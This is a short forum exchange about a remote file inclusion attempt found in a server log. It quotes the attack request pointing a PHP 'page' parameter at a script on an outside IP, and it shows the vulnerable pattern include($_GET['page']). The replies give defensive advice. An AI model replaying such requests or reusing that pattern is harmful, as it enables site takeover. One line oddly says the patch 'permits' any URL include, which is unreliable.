hi,

looks like CSE exploit is circulating again...
found several queries today from server log
anyone confirms?

"GET /index.php?page=http://213.202.214.198/cse.gif? HTTP/1.1" 404
1035 "-" "Python-urllib/2.4"

Can't see anything new in there. The usual PHP exploit suite, which is very script kiddie compatible, but where do you suspect a new exploit? AFAICT, this is targetted to sites using stuff like

include($_GET['page'])

as their action dispatch inside the script.

If you filter user input correctly, there's absolutely nothing to worry. You might, however, want to check out the Hardening Patch for PHP (http://www.hardened-php.net/, shameless plug) which permits include() for any URL, or disable allow_url_fopen in php.ini.

PS: The site with cse.gif on it is down now.
